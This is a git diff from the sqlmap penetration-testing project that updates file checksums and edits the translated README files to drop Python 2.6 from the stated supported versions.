+2e7cda0795eee1ac6f0f36e51ce63a6afedc8bbdfc74895d44a72fd070cf9f17 doc/translations/README-ko-KR.md +c161d366c1fa499e5f80c1b3c0f35e0fdeabf6616b89381d439ed67e80ed97eb doc/translations/README-nl-NL.md +95298c270cc3f493522f2ef145766f6b40487fb8504f51f91bc91b966bb11a7b doc/translations/README-pl-PL.md +b904f2db15eb14d5c276d2050b50afa82da3e60da0089b096ce5ddbf3fdc0741 doc/translations/README-pt-BR.md +3ed5f7eb20f551363eed1dc34806de88871a66fee4d77564192b9056a59d26ec doc/translations/README-rs-RS.md +7d5258bcd281ee620c7143598c18aba03454438c4dc00e7de3f4442d675c2593 doc/translations/README-ru-RU.md +bc15e7db466e42182e4bf063919c105327ff1b0ccd0920bb9315c76641ffd71a doc/translations/README-sk-SK.md +ab7d86319a68392caac23d8d7870d182d31fb8b33b24e84ba77c8119dbd194c2 doc/translations/README-tr-TR.md +5e313398bfe2573c83e25cfc5ff4c003fdbf9244aa611597a7084f7ac11cc405 doc/translations/README-uk-UA.md +c3a53e041ce868b4098c02add27ea3abaf6c9ecf73da61339519708ada6d4f24 doc/translations/README-vi-VN.md +c4590a37dc1372be29b9ba8674b5e12bcda6ab62c5b2d18dab20bcb73a4ffbeb doc/translations/README-zh-CN.md 788b845289c2fbbfc0549a2a94983f2a2468df15be5c8b5de84241a32758d70b extra/beep/beep.py 509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9 extra/beep/beep.wav 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 extra/beep/__init__.py @@ -154,7 +154,7 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/ 84e7288c5642f9b267e55902bc7927f45e568b643bdf66c3aedbcd52655f0885 extra/shutils/pycodestyle.sh 6b9a5b716a345f4eb6633f605fe74b5b6c4b9d5b100b41e25f167329f15a704c extra/shutils/pydiatra.sh 53e6915daeed6396a5977a80e16d45d65367894bb22954df52f0665cf6fe13c3 extra/shutils/pyflakes.sh -15d3e4be4a95d9142afb6b0187ca059ea71e23c3b1b08eafcc87fa61bd2bbfb8 extra/shutils/pypi.sh +20e0ce27ec1c7809fe03868b3b4371ac29e44ece0e4c024060f497444d3c7c0a extra/shutils/pypi.sh df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 extra/vulnserver/__init__.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -07334f49a15c569a20523fcf2c7a8706d9e253e6b44c9cdb897796f91898f22a lib/core/settings.py +c14e217646a5077ef22b60f93211bdcba44d6f937fcdb4a13d07839c0a0787a1 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -259,7 +259,7 @@ c0e6e33d2aa115e7ab2459e099cbaeb282065ea158943efc2ff69ba771f03210 lib/utils/sear 8258d0f54ad94e6101934971af4e55d5540f217c40ddcc594e2fba837b856d35 lib/utils/sgmllib.py 61dfd44fb0a5a308ba225092cb2768491ea2393999683545b7a9c4f190001ab8 lib/utils/sqlalchemy.py 6f5f4b921f8cfe625e4656ee4560bc7d699d1aebf6225e9a8f5cf969d0fa7896 lib/utils/timeout.py -04f8a2419681876d507b66553797701f1f7a56b71b5221fa317ed56b789dedb3 lib/utils/versioncheck.py +9cb6bd014598515a95945f03861e7484d6c0f9f4b508219eb5cc0c372ed5c173 lib/utils/versioncheck.py bd4975ff9cbc0745d341e6c884e6a11b07b0a414105cc899e950686d2c1f88ba lib/utils/xrange.py 33049ba7ddaea4a8a83346b3be29d5afce52bbe0b9d8640072d45cadc0e6d4bb LICENSE 4533aeb5b4fefb5db485a5976102b0449cc712a82d44f9630cf86150a7b3df55 plugins/dbms/access/connector.py @@ -473,7 +473,7 @@ ab661b605012168d72f84a92ff7e233542df3825c66714c99073e56acea37e2e plugins/generi 7bb6403d83cc9fd880180e3ad36dca0cc8268f05f9d7e6f6dba6d405eea48c3a plugins/generic/takeover.py cbc7684de872fac4baeabd1fce3938bc771316c36e54d69ac6a301e8a99f07b2 plugins/generic/users.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 plugins/__init__.py -f5cad477023c8145c4db7aa530976fc75b098cf59a49905f28d02f6771fd9697 README.md +423d9bfaddb3cf527d02ddda97e53c4853d664c51ef7be519e4f45b9e399bc30 README.md 535ab6ac8b8441a3758cee86df3e68abec8b43eee54e32777967252057915acc sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml a40607ce164eb2d21865288d24b863edb1c734b56db857e130ac1aef961c80b9 sqlmap.conf diff --git a/doc/translations/README-ar-AR.md b/doc/translations/README-ar-AR.md index 53b62f51d8c..29d8e9f15b0 100644 --- a/doc/translations/README-ar-AR.md +++ b/doc/translations/README-ar-AR.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap)
diff --git a/doc/translations/README-bg-BG.md b/doc/translations/README-bg-BG.md index af3de550924..d66b5301e11 100644 --- a/doc/translations/README-bg-BG.md +++ b/doc/translations/README-bg-BG.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap e инструмент за тестване и проникване, с отворен код, който автоматизира процеса на откриване и използване на недостатъците на SQL база данните чрез SQL инжекция, която ги взима от сървъра. Снабден е с мощен детектор, множество специални функции за най-добрия тестер и широк спектър от функции, които могат да се използват за множество цели - извличане на данни от базата данни, достъп до основната файлова система и изпълняване на команди на операционната система. @@ -20,7 +20,7 @@ sqlmap e инструмент за тестване и проникване, с git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap работи самостоятелно с [Python](https://www.python.org/download/) версия **2.6**, **2.7** и **3.x** на всички платформи. +sqlmap работи самостоятелно с [Python](https://www.python.org/download/) версия **2.7** и **3.x** на всички платформи. Използване ---- diff --git a/doc/translations/README-bn-BD.md b/doc/translations/README-bn-BD.md index d602cc31652..8e4cfe36905 100644 --- a/doc/translations/README-bn-BD.md +++ b/doc/translations/README-bn-BD.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) **SQLMap** একটি ওপেন সোর্স পেনিট্রেশন টেস্টিং টুল যা স্বয়ংক্রিয়ভাবে SQL ইনজেকশন দুর্বলতা সনাক্ত ও শোষণ করতে এবং ডাটাবেস সার্ভার নিয়ন্ত্রণে নিতে সহায়তা করে। এটি একটি শক্তিশালী ডিটেকশন ইঞ্জিন, উন্নত ফিচার এবং পেনিট্রেশন টেস্টারদের জন্য দরকারি বিভিন্ন অপশন নিয়ে আসে। এর মাধ্যমে ডাটাবেস ফিঙ্গারপ্রিন্টিং, ডাটাবেস থেকে তথ্য আহরণ, ফাইল সিস্টেম অ্যাক্সেস, এবং অপারেটিং সিস্টেমে কমান্ড চালানোর মতো কাজ করা যায়, এমনকি আউট-অফ-ব্যান্ড সংযোগ ব্যবহার করেও। @@ -23,7 +23,7 @@ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev ``` -SQLMap স্বয়ংক্রিয়ভাবে [Python](https://www.python.org/download/) **2.6**, **2.7** এবং **3.x** সংস্করণে যেকোনো প্ল্যাটফর্মে কাজ করে। +SQLMap স্বয়ংক্রিয়ভাবে [Python](https://www.python.org/download/) **2.7** এবং **3.x** সংস্করণে যেকোনো প্ল্যাটফর্মে কাজ করে। diff --git a/doc/translations/README-ckb-KU.md b/doc/translations/README-ckb-KU.md index 6bb8fca22bc..db813955337 100644 --- a/doc/translations/README-ckb-KU.md +++ b/doc/translations/README-ckb-KU.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap)
diff --git a/doc/translations/README-de-DE.md b/doc/translations/README-de-DE.md index 379a0575c52..65d96220ea5 100644 --- a/doc/translations/README-de-DE.md +++ b/doc/translations/README-de-DE.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap ist ein quelloffenes Penetrationstest Werkzeug, das die Entdeckung, Ausnutzung und Übernahme von SQL injection Schwachstellen automatisiert. Es kommt mit einer mächtigen Erkennungs-Engine, vielen Nischenfunktionen für den ultimativen Penetrationstester und einem breiten Spektrum an Funktionen von Datenbankerkennung, abrufen von Daten aus der Datenbank, zugreifen auf das unterliegende Dateisystem bis hin zur Befehlsausführung auf dem Betriebssystem mit Hilfe von out-of-band Verbindungen. diff --git a/doc/translations/README-es-MX.md b/doc/translations/README-es-MX.md index 4432ae85835..f85f4862fca 100644 --- a/doc/translations/README-es-MX.md +++ b/doc/translations/README-es-MX.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band". @@ -19,7 +19,7 @@ Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https:/ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.6**, **2.7** y **3.x** en cualquier plataforma. +sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.7** y **3.x** en cualquier plataforma. Uso --- diff --git a/doc/translations/README-fa-IR.md b/doc/translations/README-fa-IR.md index e3d9daf604c..eb84e410939 100644 --- a/doc/translations/README-fa-IR.md +++ b/doc/translations/README-fa-IR.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap)
diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index 964f7e1045a..4d867898b97 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) **sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation. @@ -19,7 +19,7 @@ De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sql git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6**, **2.7** et **3.x** de [Python](https://www.python.org/download/) +sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.7** et **3.x** de [Python](https://www.python.org/download/) Utilisation ---- diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index ede6340d1ce..0d5e0446570 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων. @@ -20,7 +20,7 @@ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.6**, **2.7** και **3.x** σε όποια πλατφόρμα. +Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.7** και **3.x** σε όποια πλατφόρμα. Χρήση ---- diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md index dffab7062e6..45d5eaad1f9 100644 --- a/doc/translations/README-hr-HR.md +++ b/doc/translations/README-hr-HR.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza. @@ -20,7 +20,7 @@ Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sql git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap radi bez posebnih zahtjeva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi. +sqlmap radi bez posebnih zahtjeva korištenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi. Korištenje ---- diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md index 39ad3e58fb9..f82bf71d2ec 100644 --- a/doc/translations/README-id-ID.md +++ b/doc/translations/README-id-ID.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap adalah perangkat lunak sumber terbuka yang digunakan untuk melakukan uji penetrasi, mengotomasi proses deteksi, eksploitasi kelemahan _SQL injection_ serta pengambil-alihan server basis data. @@ -22,7 +22,7 @@ Sebagai alternatif, Anda dapat mengunduh sqlmap dengan melakukan _clone_ pada re git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.6**, **2.7** dan **3.x** pada platform apapun. +sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.7** dan **3.x** pada platform apapun. Penggunaan ---- diff --git a/doc/translations/README-in-HI.md b/doc/translations/README-in-HI.md index c2d323bcc81..b311f81afe3 100644 --- a/doc/translations/README-in-HI.md +++ b/doc/translations/README-in-HI.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap एक ओपन सोर्स प्रवेश परीक्षण उपकरण है जो SQL इन्जेक्शन दोषों की पहचान और उपयोग की प्रक्रिया को स्वचलित करता है और डेटाबेस सर्वरों को अधिकृत कर लेता है। इसके साथ एक शक्तिशाली पहचान इंजन, अंतिम प्रवेश परीक्षक के लिए कई निचले विशेषताएँ और डेटाबेस प्रिंट करने, डेटाबेस से डेटा निकालने, नीचे के फ़ाइल सिस्टम तक पहुँचने और आउट-ऑफ-बैंड कनेक्शन के माध्यम से ऑपरेटिंग सिस्टम पर कमांड चलाने के लिए कई बड़े रेंज के स्विच शामिल हैं। @@ -20,7 +20,7 @@ sqlmap एक ओपन सोर्स प्रवेश परीक्षण git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap [Python](https://www.python.org/download/) संस्करण **2.6**, **2.7** और **3.x** पर किसी भी प्लेटफार्म पर तुरंत काम करता है। +sqlmap [Python](https://www.python.org/download/) संस्करण **2.7** और **3.x** पर किसी भी प्लेटफार्म पर तुरंत काम करता है। उपयोग ---- diff --git a/doc/translations/README-it-IT.md b/doc/translations/README-it-IT.md index af10ee150cc..6b074141b41 100644 --- a/doc/translations/README-it-IT.md +++ b/doc/translations/README-it-IT.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) 